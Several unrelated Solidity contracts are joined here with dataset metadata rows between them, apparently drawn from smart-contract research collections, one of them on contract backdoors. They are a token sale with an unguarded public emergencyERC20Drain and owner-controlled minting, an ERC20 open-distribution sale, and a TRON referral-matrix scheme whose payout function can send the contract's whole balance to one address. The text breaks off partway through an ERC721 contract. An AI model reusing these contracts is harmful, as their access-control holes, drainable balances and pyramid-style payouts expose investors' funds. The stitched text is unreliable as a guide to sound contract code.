function emergencyERC20Drain(ERC20 oddToken, uint amount) public {
oddToken.transfer(owner, amount);
}
}
contract ReporterTokenSale is Ownable, Pausable{
using SafeMath for uint256;
// The token being sold
ReporterToken public token;
uint256 public decimals;
uint256 public oneCoin;
// start and end block where investments are allowed (both inclusive)
uint256 public startTimestamp;
uint256 public endTimestamp;
// address where funds are collected
address public multiSig;
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
}
// These will be set by setTier()
uint256 public rate; // how many token units a buyer gets per wei
uint256 public minContribution = 0.0001 ether; // minimum contributio to participate in tokensale
uint256 public maxContribution = 200000 ether; // default limit to tokens that the users can buy
// ***************************
// amount of raised money in wei
uint256 public weiRaised;
// amount of raised tokens
uint256 public tokenRaised;
// maximum amount of tokens being created
uint256 public maxTokens;
// maximum amount of tokens for sale
uint256 public tokensForSale; // 36 Million Tokens for SALE
// number of participants in presale
uint256 public numberOfPurchasers = 0;
// for whitelist
address public cs;
// for rate
uint public r;
// switch on/off the authorisation , default: false
bool public freeForAll = false;
mapping (address => bool) public authorised; // just to annoy the heck out of americans
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event SaleClosed();
function ReporterTokenSale() public {
startTimestamp = 1508684400; // 22 Oct. 2017. 15:00 UTC
endTimestamp = 1521126000; // 15 Marc. 2018. 15:00 UTC 1521126000
multiSig = 0xD00d085F125EAFEA9e8c5D3f4bc25e6D0c93Af0e;
token = new ReporterToken();
decimals = token.decimals();
oneCoin = 10 ** decimals;
maxTokens = 60 * (10**6) * oneCoin;
tokensForSale = 36 * (10**6) * oneCoin;
}
function setTier(uint newR) internal {
// first 9M tokens get extra 42% of tokens, next half get 17%
if (tokenRaised <= 9000000 * oneCoin) {
rate = newR * 142/100;
//minContribution = 100 ether;
//maxContribution = 1000000 ether;
} else if (tokenRaised <= 18000000 * oneCoin) {
rate = newR *117/100;
//minContribution = 5 ether;
//maxContribution = 1000000 ether;
} else {
rate = newR * 1;
//minContribution = 0.01 ether;
//maxContribution = 100 ether;
}
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
if (now > endTimestamp)
return true;
if (tokenRaised >= tokensForSale)
return true; // if we reach the tokensForSale
return false;
}
modifier onlyCSorOwner() {
require((msg.sender == owner) || (msg.sender==cs));
_;
}
modifier onlyCS() {
require(msg.sender == cs);
_;
}
modifier onlyAuthorised() {
require (authorised[msg.sender] || freeForAll);
require (now >= startTimestamp);
require (!(hasEnded()));
require (multiSig != 0x0);
require(tokensForSale > tokenRaised); // check we are not over the number of tokensForSale
_;
}
function authoriseAccount(address whom) onlyCSorOwner public {
authorised[whom] = true;
}
function authoriseManyAccounts(address[] many) onlyCSorOwner public {
for (uint256 i = 0; i < many.length; i++) {
authorised[many[i]] = true;
}
}
function blockAccount(address whom) onlyCSorOwner public {
authorised[whom] = false;
}
function setCS(address newCS) onlyOwner public {
cs = newCS;
}
function setRate(uint newRate) onlyCSorOwner public {
require(0 < newRate && newRate < 8000);
r = newRate;
}
function placeTokens(address beneficiary, uint256 _tokens) onlyCS public {
//check minimum and maximum amount
require(_tokens != 0);
require(!hasEnded());
uint256 amount = 0;
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(_tokens); // so we can go slightly over
token.mint(beneficiary, _tokens);
TokenPurchase(beneficiary, amount, _tokens);
}
// low level token purchase function
function buyTokens(address beneficiary, uint256 amount) onlyAuthorised whenNotPaused internal {
setTier(r);
//check minimum and maximum amount
require(amount >= minContribution);
require(amount <= maxContribution);
// calculate token amount to be created
uint256 tokens = amount.mul(rate);
// update state
weiRaised = weiRaised.add(amount);
if (token.balanceOf(beneficiary) == 0) {
numberOfPurchasers++;
}
tokenRaised = tokenRaised.add(tokens); // so we can go slightly over
token.mint(beneficiary, tokens);
TokenPurchase(beneficiary, amount, tokens);
multiSig.transfer(this.balance); // better in case any other ether ends up here
}
// transfer ownership of the token to the owner of the presale contract
function finishSale() public onlyOwner {
require(hasEnded());
// assign the rest of the 60M tokens to the reserve
uint unassigned;
if(maxTokens > tokenRaised) {
unassigned = maxTokens.sub(tokenRaised);
token.mint(multiSig,unassigned);
}
token.finishMinting();
token.transferOwnership(owner);
SaleClosed();
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender, msg.value);
}
function emergencyERC20Drain(ERC20 oddToken, uint amount) public {
oddToken.transfer(owner, amount);
}
}
| 201,272 | 574 |
3ec42811d072aea98d9c46e5ffb11938f958fbfc9e9e5437924a3c17957891d2
| 10,659 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x3adf2a89a38048bd4518e5a05c53fbd35122a605.sol
| 2,409 | 9,836 |
pragma solidity ^0.4.18;
// **-----------------------------------------------
// MoyToken Open Distribution Smart Contract.
// 30,000,000 tokens available via unique Open Distribution.
// POWTokens Contract @ POWToken.eth
// Open Dsitribution Opens at the 1st Block of 2018.
// All operations can be monitored at etherscan.io
// -----------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
// -------------------------------------------------
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
contract safeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
safeAssert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b > 0);
uint256 c = a / b;
safeAssert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
safeAssert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
safeAssert(c>=a && c>=b);
return c;
}
function safeAssert(bool assertion) internal pure {
if (!assertion) revert();
}
}
contract StandardToken is owned, safeMath {
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract POWTokenOpenDistribution is owned, safeMath {
// owner/admin & token reward
address public admin = owner; //admin address
StandardToken public tokenContract; // address of MoibeTV MOY ERC20 Standard Token.
// deployment variables for static supply sale
uint256 public initialSupply;
uint256 public tokensRemaining;
// multi-sig addresses and price variable
address public budgetWallet; // budgetMultiSig for PowerLineUp.
uint256 public tokensPerEthPrice; // set initial value floating priceVar.
// uint256 values for min,max,caps,tracking
uint256 public amountRaised;
uint256 public fundingCap;
// loop control, startup and limiters
string public CurrentStatus = ""; // current OpenDistribution status
uint256 public fundingStartBlock; // OpenDistribution start block#
uint256 public fundingEndBlock; // OpenDistribution end block#
bool public isOpenDistributionClosed = false; // OpenDistribution completion boolean
bool public areFundsReleasedToBudget= false; // boolean for MoibeTV to receive Eth or not, this allows MoibeTV to use Ether only if goal reached.
bool public isOpenDistributionSetup = false; // boolean for OpenDistribution setup
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Buy(address indexed _sender, uint256 _eth, uint256 _MOY);
mapping(address => uint256) balancesArray;
mapping(address => uint256) fundValue;
// default function, map admin
function POWTokenOpenDistribution() public onlyOwner {
admin = msg.sender;
CurrentStatus = "Tokens Released, Open Distribution deployed to chain";
}
// total number of tokens initially
function initialMoySupply() public constant returns (uint256 tokenTotalSupply) {
tokenTotalSupply = safeDiv(initialSupply,1000000000000000000);
}
// remaining number of tokens
function remainingSupply() public constant returns (uint256 tokensLeft) {
tokensLeft = tokensRemaining;
}
// setup the OpenDistribution parameters
function setupOpenDistribution(uint256 _fundingStartBlock, uint256 _fundingEndBlock, address _tokenContract, address _budgetWallet) public onlyOwner returns (bytes32 response) {
if ((msg.sender == admin)
&& (!(isOpenDistributionSetup))
&& (!(budgetWallet > 0))){
// init addresses
tokenContract = StandardToken(_tokenContract); //MoibeTV MOY tokens Smart Contract.
budgetWallet = _budgetWallet; //Budget multisig.
tokensPerEthPrice = 1000; //Regular Price 1 ETH = 1000 MOY.
fundingCap = 3;
// update values
amountRaised = 0;
initialSupply = 30000000;
tokensRemaining = safeDiv(initialSupply,1);
fundingStartBlock = _fundingStartBlock;
fundingEndBlock = _fundingEndBlock;
// configure OpenDistribution
isOpenDistributionSetup = true;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution is setup";
//gas reduction experiment
setPrice();
return "OpenDistribution is setup";
} else if (msg.sender != admin) {
return "Not Authorized";
} else {
return "Campaign cannot be changed.";
}
}
function setPrice() public { //Verificar si es necesario que sea pblica.
if (block.number >= fundingStartBlock && block.number <= fundingStartBlock+11520) { // First Day 300% Bonus, 1 ETH = 3000 MOY.
tokensPerEthPrice = 3000;
} else if (block.number >= fundingStartBlock+11521 && block.number <= fundingStartBlock+46080) { // First Week 200% Bonus, 1 ETH = 2000 MOY.
tokensPerEthPrice = 2000; //Regular Price for All Stages.
} else if (block.number >= fundingStartBlock+46081 && block.number <= fundingStartBlock+86400) { // Second Week 150% Bonus, 1 ETH = 1500 MOY.
tokensPerEthPrice = 2000; //Regular Price for All Stages.
} else if (block.number >= fundingStartBlock+86401 && block.number <= fundingEndBlock) { // Regular Sale, final price for all users 1 ETH = 1000 MOY.
tokensPerEthPrice = 1000; //Regular Price for All Stages.
}
}
// default payable function when sending ether to this contract
function () public payable {
require(msg.data.length == 0);
BuyMOYTokens();
}
function BuyMOYTokens() public payable {
require(!(msg.value == 0)
&& (isOpenDistributionSetup)
&& (block.number >= fundingStartBlock)
&& (block.number <= fundingEndBlock)
&& (tokensRemaining > 0));
// 1. vars
uint256 rewardTransferAmount = 0;
// 2. effects
setPrice();
amountRaised = safeAdd(amountRaised,msg.value);
rewardTransferAmount = safeDiv(safeMul(msg.value,tokensPerEthPrice),1);
// 3. interaction
tokensRemaining = safeSub(tokensRemaining, safeDiv(rewardTransferAmount,1));
tokenContract.transfer(msg.sender, rewardTransferAmount);
// 4. events
fundValue[msg.sender] = safeAdd(fundValue[msg.sender], msg.value);
Transfer(this, msg.sender, msg.value);
Buy(msg.sender, msg.value, rewardTransferAmount);
}
function budgetMultiSigWithdraw(uint256 _amount) public onlyOwner {
require(areFundsReleasedToBudget && (amountRaised >= fundingCap));
budgetWallet.transfer(_amount);
}
function checkGoalReached() public onlyOwner returns (bytes32 response) { // return OpenDistribution status to owner for each result case, update public constant.
// update state & status variables
require (isOpenDistributionSetup);
if ((amountRaised < fundingCap) && (block.number <= fundingEndBlock && block.number >= fundingStartBlock)) { // OpenDistribution in progress waiting for hardcap.
areFundsReleasedToBudget = false;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution in progress, waiting to reach goal.";
return "OpenDistribution in progress.";
} else if ((amountRaised < fundingCap) && (block.number < fundingStartBlock)) { // OpenDistribution has not started.
areFundsReleasedToBudget = false;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution is setup";
return "OpenDistribution is setup";
} else if ((amountRaised < fundingCap) && (block.number > fundingEndBlock)) { // OpenDistribution ended, total not achieved.
areFundsReleasedToBudget = false;
isOpenDistributionClosed = true;
CurrentStatus = "OpenDistribution is Over.";
return "OpenDistribution is Over";
} else if ((amountRaised >= fundingCap) && (tokensRemaining == 0)) { // Distribution ended, all tokens gone.
areFundsReleasedToBudget = true;
isOpenDistributionClosed = true;
CurrentStatus = "Successful OpenDistribution.";
return "Successful OpenDistribution.";
} else if ((amountRaised >= fundingCap) && (block.number > fundingEndBlock) && (tokensRemaining > 0)) { // OpenDistribution ended.
areFundsReleasedToBudget = true;
isOpenDistributionClosed = true;
CurrentStatus = "Successful OpenDistribution.";
return "Successful OpenDistribution";
} else if ((amountRaised >= fundingCap) && (tokensRemaining > 0) && (block.number <= fundingEndBlock)) { // OpenDistribution in progress, objetive achieved!
areFundsReleasedToBudget = true;
isOpenDistributionClosed = false;
CurrentStatus = "OpenDistribution in Progress, Goal Achieved.";
return "Goal Achieved.";
}
setPrice();
}
}
| 147,626 | 575 |
ab98fc64c654034b59d7f8db29e512f3dc755f9ae925030c3c581087d4a6ec0d
| 24,408 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSmz4HxnYSToQuqPGjhrLFRj7sM2mzUk4k_Expedition.sol
| 5,671 | 21,709 |
//SourceUnit: Expedition.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
contract Expedition {
using SafeMath for *;
struct User {
uint id;
address referrer;
uint partnersCount;
uint256 x3Income;
uint256 x6Income;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 14;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user,uint indexed userId, address indexed referrer,uint referrerId, uint8 matrix, uint8 level, uint8 place);
event MissedTronReceive(address indexed receiver,uint receiverId, address indexed from,uint indexed fromId, uint8 matrix, uint8 level);
event SentDividends(address indexed from,uint indexed fromId, address indexed receiver,uint receiverId, uint8 matrix, uint8 level, bool isExtra);
constructor(address ownerAddress) public {
levelPrice[1] = 250 trx;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
x3Income:0,
x6Income:0
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
userIds[1] = ownerAddress;
}
function() external payable {
return registration(msg.sender, owner);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[msg.sender].activeX3Levels[level], "level already activated");
require(users[msg.sender].activeX3Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(!users[msg.sender].activeX6Levels[level], "level already activated");
require(users[msg.sender].activeX6Levels[level - 1], "previous level should be activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(msg.sender, level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(msg.value == 500 trx, "registration cost 500");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
x3Income:0,
x6Income:0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress, users[referrerAddress].id, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendTronDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendTronDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id,ref,users[ref].id, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 3);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 5);
} else {
emit NewUserPlace(userAddress,users[userAddress].id, ref,users[ref].id, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress,users[userAddress].id, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1],users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].id, 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress,users[userAddress].id, referrerAddress,users[referrerAddress].id, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendTronDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendTronDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function get3XMatrix(address userAddress, uint8 level) public view returns(address, address[] memory, uint, bool) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].reinvestCount,
users[userAddress].x3Matrix[level].blocked);
}
function getX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, uint, address) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount,
users[userAddress].x6Matrix[level].closedPart);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findTronReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedTronReceive(receiver,users[receiver].id, _from,users[_from].id, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendTronDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findTronReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if(matrix == 1)
{
users[receiver].x3Income = users[receiver].x3Income.add(levelPrice[level]);
}
else
{
users[receiver].x6Income = users[receiver].x6Income.add(levelPrice[level]);
}
emit SentDividends(_from,users[_from].id, receiver,users[receiver].id, matrix, level, isExtraDividends);
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 286,321 | 576 |
cbde7c4a5bac592ce5a28dd3cccd064ffdab188b123b6c7c736f3e721f10d1a3
| 25,313 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7a58b34e038627bb747254d52d1c25241b1cca8b.sol
| 5,658 | 18,698 |
pragma solidity ^0.4.18;
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
